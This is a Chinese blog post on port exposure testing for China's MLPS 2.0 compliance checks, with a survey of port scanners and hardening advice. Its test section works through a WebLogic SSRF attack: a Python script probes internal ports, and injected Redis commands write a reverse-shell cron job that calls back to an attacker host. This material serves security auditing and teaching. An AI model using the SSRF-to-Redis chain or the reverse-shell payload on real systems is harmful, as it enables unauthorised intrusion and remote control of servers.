4

端口开放测试_Mingo的技术博客_51CTO博客

 2 years ago
source link: https://blog.51cto.com/u_13444271/5683298
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x01 等保测评项

GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4.4安全计算环境—入侵防范项中要求包括:

  1. 应遵循最小安装的原则,仅安装需要的组件和应用程序;
  2. 应关闭不需要的系统服务、默认共享和高危端口;
  3. 应通过设定终端接入方式或网络地址范围对通过网络进行管理的管理终端进行限制;
  4. 应提供数据有效性检验功能,保证通过人机接口输入或通过通信接口输入的内容符合系统设定要求;
  5. 应能发现可能存在的已知漏洞,并在经过充分测试评估后,及时修补漏洞;
  6. 应能够检测到对重要节点进行入侵的行为,并在发生严重入侵事件时提供报警。

端口开放测试对应访问控制项中的第二点,所以安全控制点为入侵防范。

GBT 28448-2019《信息安全技术 网络安全等级保护测评要求》中,测评单元(L3-CES1-18)该测评但愿包括以下要求:

  1. 测评指标:应关闭不需要的系统服务、默认共享和高危端口;
  2. 测评对象:终端和服务器等设备中的操作系统(包括宿主机和虚拟机操作系统)、网络设备(包括虚拟网络设备)、安全设备(包括虚拟安全设备)、移动终端、移动终端管理系统、移动终端管理客户端、感知节点设备、网关节点设备和控制设备等;
  3. 测评实施包括以下内容:
    1)应核查是否关闭了非必要的系统服务和默认共享;
    2)应核查是否不存在非必要的高危端口;
  4. 单元判定:如果第三点符合,则符合本测评单元指标要求,否则不符合或部分符合本测评单元指标要求。端口开放测试属于测评单元(L3-CES1-18),故定测评单元为L3-CES1-18.1。

0x02 测试内容

对端口进行探测,检测应用服务器是否开启了非必要的系统服务、默认共享、高危端口,如135、139(嗅探)、445(MS7-010、MS08-067)、593、1025等;

0x03 漏洞原理

  • 公认端口 从0至1023,他们紧密绑定于一些服务,通常这些端口的通讯明确表示了某种服务的协议。例如80端口默认是HTTP通讯;
  • 注册端口 从1024至49151。他们松散的绑定于一些服务。有许多服务绑定于这些端口,这些端口同样用于许多其他目的。比如,许多系统处理动态端口从1024开始。
  • 动态/私有端口 从49152至65535,理论上,不应该为服务分配这些端口。实际上,计算机通常从1024起分配动态端口,但是也有例外,比如,SUN的RPC端口从32768开始。

网络安全设备建议禁止的端口主要有:TCP/135、139、445、593、1025、和UDP/135、137、138、445端口。一些流行病毒的后门端口,比如TCP/2745、3127、6129等,以及远程服务RDP端口3389。

高危端口TCP/UDP135TCP/UDP135用于RPC(远程过程调用)服务。攻击者可以利用 次端口远程打开对方的Telnet服务,用于启动与远程计算机的RPC连接,通过RPC可以执行远程计算机的代码。

高危端口137、138、139、445这几个端口都是为共享而开的。

攻击者通过139、445这个端口进入的连接,能够获得NetBIOS/SMB服务权限,这是IPC$入侵的主要通道。139端口基于SMB协议提供共享服务,445端口基于CIFS协议提供共享服务。

攻击者通过向137端口发送连接请求,可能获得目标主机的相关名称信息(计算机名称、注册用户信息、主机是否作为文件服务器或域控服务器等)。

138端口主要作用是提供NetBIOS环境下的计算机名浏览功能,攻击者与主机的138端口建立连接请求就能轻松获得目标主机所处的局域网名称以及目标主机的计算机名称。

渗透测试常用端口

渗透测试常用端口

链接: https://nmap.org/
介绍:Nmap是一款网络扫描和主机检测的扫描工具。Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。可适用于Windows、Linux、Mac等操作系统。
核心功能:

  • 主机发现:检测目标主机是否在线;
  • 端口扫描:检测端口状态和提供的服务;
  • 版本侦测:检测端口提供服务的包或软件的版本信息;
  • 操作系统侦测:检测主机使用的操作系统;
Nmap工具界面

Masscan

链接: https://github.com/robertdavidgraham/masscan
介绍:Masscan是一种典型的“async / syn-cookie”扫描仪,它的扫描结果类似于nmap,在内部结构上,它更像unicornscan和ZMap,都采用了异步传输的方式。

对比unicornscan和ZMap,Masscan的优势在于:

  • 速度快
    在使用双端口卡的情况下,Masscan理论上能够达到每秒3000万个数据包(使用需谨慎,请不要太嚣张的使用~)。扫描互联网全部IP地址的一个指定端口,大约也就需要3分钟左右的时间,而且同时支持TCP和UDP协议的端口扫描;

  • 灵活性强
    “加密的单调递增索引”,它允许自定义任意的地址范和端口范围,大大的增加了masscan的灵活性;

  • 兼容性强
    支持运行在Windows,Macintosh,Linux,OpenBSD各类系统。

Masscan使用自定义TCP / IP堆栈,除简单端口扫描之外的任何其他操作都将导致与本地TCP / IP堆栈冲突。因此MASSCAN不建立完整的TCP连接,收到SYN/ACK之后,发送RST结束连接(banners除外)

Masscan工具界面

介绍:The Metasploit Framework是一个渗透测试开源软件平台,一个漏洞利用框架,Kali自带。它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。Metasploit中不仅能够使用第三方扫描器Nmap等,在其辅助模块中也包含了几款内建的端口扫描器。

MSF渗透测试框架介绍
MSF的portscan模块-01
MSF的portscan模块-02
利用MSF中Nmap进行扫描

Naabu

链接: https://github.com/projectdiscovery/naabu
介绍:Naabu是一款基于Go语言开发的快速端口扫描工具,该工具可以快速可靠的枚举目标主机的有效端口。该工具在实现了简单易用的情况下,同时保证了运行的可靠性。同时也支持对主机或主机列表进行快速SYN、CONNECT扫描,并列出所有返回响应的端口。
特性:

  • 快速简单的基于SYN/CONNECT探针的扫描;
  • 使用Shodan Internetdb API的被动端口枚举;
  • 用于DNS端口扫描的自动IP重复数据删除;
  • DNS端口扫描;
  • 基于Nmap的服务发现功能;
  • 多来源输入支持:STDIN/HOST/IP/CIDR;
  • 多格式输出支持:JSON/TXT/STDOUT;
Naabu工具界面

scanPort

链接: https://github.com/xs25cn/scanPort
介绍:scanPort可以检测服务器或指定ip段的端口开放情况。可以快速扫描指定端口范围,ip地址范围。将扫描结果保存到本地。可使用命令直接扫描,也可在浏览器内操作。

scanPort工具界面-01
scanPort工具界面-02

Rustscan

链接: https://github.com/RustScan/RustScan
介绍:Rustscan号称现代端口扫描仪器,使用Rust语言编写,速度极快,能够在3秒内将一个IP的全端口扫描完成。支持Python、Lua、Shell。虽然只是简单的SYN和CONNECT扫描,但是它拥有完成的脚本引擎支持结果导出到Nmap进行详细的扫描。也可以在不改变参数的情况下,根据系统的性能自动调整扫描速度,达到最佳扫描状态。
原理:通过对内部线程的管理,为实现异步扫描的功能,在扫描过程中,每个端口扫描创建一个线程,每次可以创建数千个线程,而线程的多少取决于系统允许打开的最大文件数。

Rustscan工具界面

scantron

链接: https://github.com/opsdisk/scantron
介绍:Scantron 是一个分布式 nmap 和 masscan 扫描仪,由两个组件组成。第一个是一个控制台节点,它包含一个用于调度扫描和存储扫描目标和结果的 Web 前端。第二个组件是从控制台提取扫描作业并进行实际扫描的引擎。

所有扫描目标文件和扫描结果都驻留在控制台上,并通过利用 SSH 隧道的网络文件共享 (NFS) 共享。引擎使用 REST API 定期回调控制台以检查扫描任务并提供扫描状态更新。还有一个选项可以使用pyndiff库生成通过电子邮件发送给您的 nmap 扫描差异。

Scantron 专门为 Python3.6+ 编码,并利用 Django 作为 Web 前端,Django REST Framework 作为 API 端点,PostgreSQL 作为数据库,Redis 任务队列,Postfix 用于电子邮件扫描警报,并与 Ubuntu 一起提供以 Ansible 为重点的剧本,用于顺利部署。Scantron 已经在 Ubuntu 18.04 上进行了测试,可能与其他操作系统兼容。

scantron架构图
scantron交互界面

线上端口扫描工具

Tide-潮汐: http://finger.tidesec.com/
在线域名扫描:  http://www.jsons.cn/port/
在线端口扫描器:  http://duankou.wlphp.com/
在线检测: http://coolaf.com/tool/port
端口扫描工具:  https://www.qtool.net/port
站长工具:  https://tool.chinaz.com/port/

做端口扫描,Nmap可以解决大部分场景的工作,而其他的工具会有一些特殊场景使用。比如,单个目标,使用nmap用不了多久就可以扫描完成,但是如果需要对大批量的目标进行扫描,nmap就显得力不从心了。这时可以使用masscan等快速扫描工具,确定端口开放,在使用Nmap做进一步的验证以及指纹识别,从而提升扫描速度。

以上并不是所有的端口扫描工具合集,还有非常多的优秀的扫描工具,比如goby、自定的脚本,也可以编写适用于自己的脚本和工具,集成到自己的自动化系统中。

0x04 测试过程

使用Nmap扫描开放端口发现,此系统开放了22、7001端口,对应服务分别为ssh与7001开放,7001默认为webLogic端口。

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

尝试访问

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

访问http://Ip:7001/uddiexplorer, 无需登录即可查看uddiexplorer应用。

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

在表单中随意输入数据,截取数据包。

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

观察数据包发现operator参数值为URL,猜测此处是否存在SSRF漏洞。

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

将operator参数值中的域名替换为攻击端服务器和一个可访问的端口,系统返回404。

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

再将operator参数值中的域名替换为攻击端服务器和一个不可访问的端口,会显示无法连接服务器“could not connect over HTTP to server”。

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

从两次不同的HTTP请求包结果中可知,此系统存在SSRF漏洞。
正常情况是无法访问内网的,但是可以通过系统返回错误信息的不同去探测内网端口的开放状态,进而知道内网开启的服务,加以利用。
需要先获取内网地址,再探测内网是否开启其他端口服务。可以使用BurpSuite工具进行自定义迭代,或者使用脚本跑出来(因为此次漏洞是Docker环境搭建的,所以内网网段是172.*)。

使用Python脚本实现内网端口探测:

import thread
import time
import re
import requests
 
 
def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)
 
def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://受害者IP:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass
 
 
if __name__ == '__main__':
    ip = "172.18.0"  
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

经过探测,发现内网的一个IP存在6379端口,也就是Redis服务正常开启,可以连通。

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

通过反弹Shell获取权限。发送三条Redis命令,将弹Shell脚本写入/etc/crontab。

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/攻击端IP/8888 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

aaa

将以上三条命令通过GET请求注入进服务器。Weblogic的SSRF可以通过传入%0a%0d来注入换行符,Redis服务是通过换行符来分隔每条命令,所以可以通过该SSRF攻击内网中的Redis服务器。

先将URL进行编码,注意换行符是“\r\n”,也就是“%0d%0a”。编码后:

test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F攻击端IP%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0A%0Aconfig%20set%20dir%20%2Fetc%2F%0A%0Aconfig%20set%20dbfilename%20crontab%0A%0Asave%0A%0Aaaa

将URL编码后的字符换放在SSRF的域名后面进行发送。把构造好的数据包通过BurpSuite进行发送。

something_for_port_22.png

攻击端先监听8888端口,BurpSuite再发送数据包,成功反弹Shell。

watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=

0x05 加固建议

高危端口暴露至外网导致系统被入侵的风险增大,为此可做以下防范:

  • 排查防火墙,关闭对应高危端口;
  • 若因业务需求需要开放高危端口建议通过VPN/IPSec等隧道方式进行访问;
  • 对于必须在公网上直接开放的端口,建议在防火墙加入IP白名单保护,同时配置必要的安全策略;
  • 使用外网端口监控系统;

参考:
 https://www.csdn.net/tags/MtTaYgxsOTI2OS1ibG9n.html
 https://netsecurity.51cto.com/article/711663.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK